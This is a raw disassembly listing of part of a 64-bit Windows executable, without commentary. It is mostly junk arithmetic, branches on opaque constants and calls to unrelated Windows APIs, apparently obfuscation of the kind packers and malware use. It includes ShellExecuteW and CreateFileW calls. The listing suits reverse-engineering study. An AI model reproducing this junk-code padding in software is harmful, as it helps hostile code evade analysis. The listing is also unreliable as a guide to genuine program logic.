movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbc20]
movzx ecx, al
mov rax, qword [rsp + 0xbc70]
shl rax, cl
mov qword [rsp + 0xbbb8], rax
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x543c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
movsx eax, word [rsp + 0x12d4]
movsx ecx, word [rsp + 0x12f0]
add eax, ecx
mov word [rsp + 0x12d8], ax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x54e4], eax
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbd20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x12cc]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rcx, qword [rsp + 0xbcd8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x549c], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5468]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb800], rax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x12e0], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
shl eax, cl
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sar eax, cl
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0x12d4]
movsx ecx, word [rsp + 0x12f0]
xor eax, ecx
mov word [rsp + 0x12d8], ax
movzx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x195], al
cmp dword [rsp + 0x54d4], 0x5b49
jb 0x140008255
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x54e8], al
cmp byte [rsp + 0x54e8], 0
je 0x140008705
cmp byte [rsp + 0x54e8], 0x35
je 0x14000861b
jmp 0x14021280d
lea rcx, [rsp + 0xbd38]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbbb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbc70], rax
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x54f0], eax
cmp dword [rsp + 0x54f0], 0x480f
je 0x14000866c
jmp 0x14000866e
jmp 0x14000868a
movzx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbc58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb800], rax
mov edx, 0x89
lea rcx, [rsp + 0xbbb0]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x54ec], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
jmp 0x14021280d
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x12e0], ax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xbd40], rax
movzx eax, byte [rsp + 0x196]
mov byte [rsp + 0x197], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbd48], rax
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x5480]
mov edx, dword [rsp + 0x5470]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x140008801
movsx eax, word [rsp + 0x12d8]
mov dword [rsp + 0x54f4], eax
cmp dword [rsp + 0x54f4], 0x7b5b
je 0x14000879d
jmp 0x1400087e1
lea rdx, [rsp + 0x5448]
lea rcx, [rsp + 0xbcc8]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xbd50], rax
mov dword [rsp + 0x20], 0xdf
mov r9d, 0xed
mov r8d, 0xea
mov edx, 0x93
mov ecx, 0xcd
call fcn.140213850
nop
jmp 0x140008801
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12cc]
shl eax, cl
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov qword [rsp + 0xbd58], rax
cmp qword [rsp + 0xbd58], 0
je 0x14000883f
jmp 0x140008879
lea rax, [rsp + 0xbc58]
mov qword [rsp + 0xbd60], rax
lea rax, [rsp + 0x5450]
mov qword [rsp + 0xbd68], rax
lea rcx, [rsp + 0x323b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x54f8], eax
jmp 0x140008993
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x107]
add ecx, edx
cmp eax, ecx
jne 0x140008993
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov dword [rsp + 0x54fc], eax
cmp dword [rsp + 0x54fc], 0x7af
je 0x140008974
cmp dword [rsp + 0x54fc], 0x8ca
je 0x140008902
jmp 0x140008993
lea r9, [rsp + 0x5434]
lea r8, [rsp + 0xbc38]
lea rdx, [rsp + 0x12d8]
lea rcx, [rsp + 0xbd70]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x5434], eax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0xbd18]
mov r8, qword [rax]
mov rax, qword [rsp + 0xbd18]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbc40]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x140008993
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
lea rax, [rsp + 0x12f0]
mov qword [rsp + 0xbd78], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.AfflictdisconsolateJewellerSaws
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbd80], rax
movzx eax, byte [rsp + 0x197]
movzx ecx, byte [rsp + 0x196]
sub eax, ecx
movzx ecx, byte [rsp + 0x195]
mov rdx, qword [rsp + 0xbc40]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140008b08
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0xbd88], rax
movabs rax, 0x231acd186df7e937
cmp qword [rsp + 0xbd88], rax
je 0x140008a98
movabs rax, 0x6495ca3365dfc23d
cmp qword [rsp + 0xbd88], rax
je 0x140008a4b
jmp 0x140008b08
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov word [section..data], ax
mov ecx, 0xb8
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
add eax, ecx
mov word [rsp + 0x12cc], ax
jmp 0x140008b08
mov dword [rsp + 0x20], ILGetNext
lea r9, [rsp + 0x12d4]
mov r8, qword [rsp + 0xbc00]
mov rdx, qword [rsp + 0xbc00]
mov rcx, qword [rsp + 0xbd90]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x5468]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbd8]
mov rcx, qword [rsp + 0xb800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12d4]
add eax, ecx
movsx ecx, word [rsp + 0x12f0]
movsx edx, word [rsp + 0x12d8]
or ecx, edx
cmp eax, ecx
jl 0x140008c95
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov dword [rsp + 0x5504], eax
cmp dword [rsp + 0x5504], 0x17bf
je 0x140008b58
jmp 0x140008b76
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbc70]
mov rdx, qword [rsp + 0xbbb8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140008c90
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILCreateFromPathW
mov rax, qword [rsp + 0xbd98]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbda0]
mov r8, qword [rsp + 0xbc00]
mov rdx, qword [rsp + 0xbca0]
mov rcx, qword [rsp + 0xbda8]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xbdb0], rax
movzx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [section..data], ax
mov r9d, 0x33
mov r8d, 0x6b
mov edx, 0xd9
mov rcx, qword [rsp + 0xbda8]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0xbdb8], rax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
jmp 0x140212742
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbc20]
mov rdx, qword [rsp + 0xbbb8]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140008d2f
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbdc0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rcx, [rsp + 0x32290]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x54e4], eax
mov eax, dword [rsp + 0x5470]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0xbc58]
mov qword [rsp + 0xbdc8], rax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov byte [rsp + 0x198], al
movsx eax, word [rsp + 0x12d4]
mov rcx, qword [rsp + 0xbd78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12d8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0xbc30]
movzx eax, byte [rax]
mov byte [rsp + 0x5508], al
cmp byte [rsp + 0x5508], 0
je 0x140008db4
jmp 0x1402125a7
lea rax, [rsp + 0xbc20]
mov qword [rsp + 0xbdd8], rax
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x5480]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0xbde0], rax
movabs rax, 0xd7399461c32610b0
cmp qword [rsp + 0xbde0], rax
je 0x140008fcb
movabs rax, 0xe2b612c018ba38cd
cmp qword [rsp + 0xbde0], rax
je 0x140008e1f
jmp 0x140009061
movzx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
or eax, ecx
movzx ecx, byte [rsp + 0x196]
mov dword [rsp + 0x550c], ecx
movzx edx, byte [rsp + 0x195]
movzx ecx, dl
mov edx, dword [rsp + 0x550c]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140008f6c
movzx eax, byte [rsp + 0x197]
mov byte [rsp + 0x5510], al
cmp byte [rsp + 0x5510], 0x31
je 0x140008f4a
cmp byte [rsp + 0x5510], 0x5c
je 0x140008e8d
jmp 0x140008f6a
mov rdx, qword [rsp + 0xbde8]
mov rcx, qword [rsp + 0xbdf0]
call qword [sym.imp.USER32.dll_DragDetect]
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
movsx eax, word [rsp + 0x12d8]
movsx ecx, word [rsp + 0x12d4]
add eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
lea r8, [rsp + 0xbdf8]
mov rdx, qword [rsp + 0xbc18]
mov rcx, qword [rsp + 0xbcc0]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [section..data], ax
jmp 0x140008f6a
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f0]
add eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
jmp 0x140008fc6
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbc78]
mov qword [rsp + 0xbe00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x5468]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140008fc6
mov edx, dword [rsp + 0x5480]
mov rax, qword [rsp + 0xbd78]
movzx ecx, word [rax]
call fcn.140213c40
nop
jmp 0x140009061
mov dword [rsp + 0x5514], 0x5d3a60b3
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbe08], rax
mov rax, qword [rsp + 0xbd68]
mov ecx, dword [0x1402505d0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5468], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rax, [rsp + 0xbc70]
mov qword [rsp + 0xbe10], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0xbe18], rax
lea rax, [rsp + 0x195]
mov qword [rsp + 0xbe20], rax
lea rcx, [rsp + 0x32290]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x54c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
nop
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
mov qword [rsp + 0xbe28], rax
movabs rax, 0x18e863f9a73a4a7e
cmp qword [rsp + 0xbe28], rax
je 0x1400091ae
movabs rax, 0x9b6f1a57f297af45
cmp qword [rsp + 0xbe28], rax
je 0x1400090ae
jmp 0x1400091ef
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
mov dword [rsp + 0x5518], eax
cmp dword [rsp + 0x5518], 0xbce
je 0x1400090cf
jmp 0x14000912b
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf4]
add eax, ecx
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x28], 0xf6
lea rax, [rsp + 0x5500]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x54dc]
mov r8d, 0x24
mov edx, 0xf0
mov rcx, qword [rsp + 0xbe30]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x54bc], eax
jmp 0x14000917d
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
mov edx, 1
mov rcx, qword [rsp + 0xbbc8]
call qword [sym.imp.SHELL32.dll_DragAcceptFiles]
nop
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5514]
mov r8d, dword [rsp + 0x5514]
mov edx, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5514]
call fcn.140213850
nop
jmp 0x1400091ef
mov rax, qword [rsp + 0xbc78]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbc70]
shl rax, cl
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xbc70]
mov rcx, qword [rsp + 0xbc20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd18]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xbbb8]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x1402124bb
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
mov qword [rsp + 0xbe38], rax
cmp qword [rsp + 0xbe38], 0
je 0x14000924a
jmp 0x1402123b0
lea rax, [rsp + 0xbbd8]
mov qword [rsp + 0xbe40], rax
mov eax, dword [rsp + 0x551c]
mov dword [rsp + 0x5520], eax
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5520]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x551c]
jge 0x1400092a6
xor r9d, r9d
mov r8d, 0x9e
mov edx, 0x8e
mov rcx, qword [rsp + 0xbdf0]
call qword [sym.imp.USER32.dll_SetScrollPos]
mov dword [rsp + 0x5524], eax
mov eax, dword [rsp + 0x5488]
mov dword [rsp + 0x5528], eax
cmp dword [rsp + 0x5528], 0xb72058ed
je 0x1400092c3
jmp 0x140009321
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbd18]
mov qword [rcx], rax
mov r8, qword [rsp + 0xbc70]
mov rdx, qword [rsp + 0xbbb8]
movzx ecx, byte [rsp + 0x198]
call fcn.1402141e0
nop
jmp 0x140009387
lea rax, [rsp + 0x197]
mov qword [rsp + 0xbe48], rax
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f0]
sar eax, cl
mov word [rsp + 0x12d4], ax
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [rsp + 0xb800]
or rcx, rax
mov rax, rcx
mov qword [0x14024f008], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x5410], eax
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
shl eax, cl
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xbc40]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x140009486
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0x552c], eax
cmp dword [rsp + 0x552c], 0x301
je 0x1400093dd
jmp 0x140009461
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov word [rsp + 0x12cc], ax
lea r9, [rsp + 0x44e30]
lea r8, [rsp + 0xbe18]
mov rdx, qword [rsp + 0xbd90]
lea rcx, [rsp + 0x44e30]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov eax, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x551c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5514], eax
jmp 0x140009484
mov r8d, 1
lea rdx, [rsp + 0xbe50]
lea rcx, [rsp + 0x5530]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x5534], eax
jmp 0x1400094e6
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe48]
movzx ecx, byte [rcx]
and eax, ecx
movzx ecx, byte [rsp + 0x196]
mov rdx, qword [rsp + 0xbe20]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x1400094e6
mov eax, dword [rsp + 0x551c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5524]
mov r8d, dword [rsp + 0x5524]
mov edx, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x551c]
call fcn.140213850
nop
mov eax, dword [rsp + 0x5480]
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbbd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbdc8]
mov rdx, qword [rsp + 0xbe08]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jae 0x1400095a4
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
mov qword [rsp + 0xbe58], rax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbe10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f0]
and eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x196], al
lea rcx, [rsp + 0xbcf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
nop
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x5538], al
cmp byte [rsp + 0x5538], 0
je 0x1400095c2
jmp 0x1402122bc
movzx eax, byte [rsp + 0x196]
mov byte [rsp + 0x553c], al
cmp byte [rsp + 0x553c], 0x75
je 0x14000969c
cmp byte [rsp + 0x553c], 0xcc
je 0x1400095ee
jmp 0x1400096b5
mov eax, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x5524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5514], eax
mov eax, dword [rsp + 0x543c]
mov dword [rsp + 0x5540], eax
cmp dword [rsp + 0x5540], 0x3eb43189
je 0x140009624
jmp 0x140009676
mov rcx, qword [rsp + 0xbda8]
call qword [sym.imp.USER32.dll_IsHungAppWindow]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbbb8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbc20], rax
lea rdx, [rsp + 0x197]
lea rcx, [rsp + 0xbe58]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x5544], eax
jmp 0x14000969a
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbc28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbd60]
mov qword [rcx], rax
jmp 0x1400096b5
mov rdx, qword [rsp + 0xbbd8]
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rax]
call fcn.140213740
nop
lea rax, [rsp + 0x197]
mov qword [rsp + 0xbe60], rax
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x5548], eax
cmp dword [rsp + 0x5548], 0x52ea746d
je 0x1400096e5
jmp 0x1400097d0
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0xbe68], rax
movabs rax, 0x314c3e68c7d08238
cmp qword [rsp + 0xbe68], rax
je 0x1400097b2
movabs rax, 0x600f3b7aaf7f6e01
cmp qword [rsp + 0xbe68], rax
je 0x140009726
jmp 0x1400097cb
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [section..data]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
lea rcx, [rsp + 0x320b0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0xbe70], rax
movzx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
add eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
jmp 0x1400097cb
mov rdx, qword [rsp + 0xbe58]
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x1400098d6
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov qword [rsp + 0xbe78], rax
movabs rax, 0x16c45e407e857f99
cmp qword [rsp + 0xbe78], rax
je 0x1400097fc
jmp 0x1400098d6
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [0x1402505d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov dword [rsp + 0x554c], eax
cmp dword [rsp + 0x554c], 0xc37
je 0x1400098a4
cmp dword [rsp + 0x554c], 0xe9e
je 0x140009848
jmp 0x1400098d6
lea rdx, [rsp + 0x45200]
mov rcx, qword [rsp + 0xbe80]
call qword [sym.imp.USER32.dll_InvertRect]
mov dword [rsp + 0x54c0], eax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbd18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
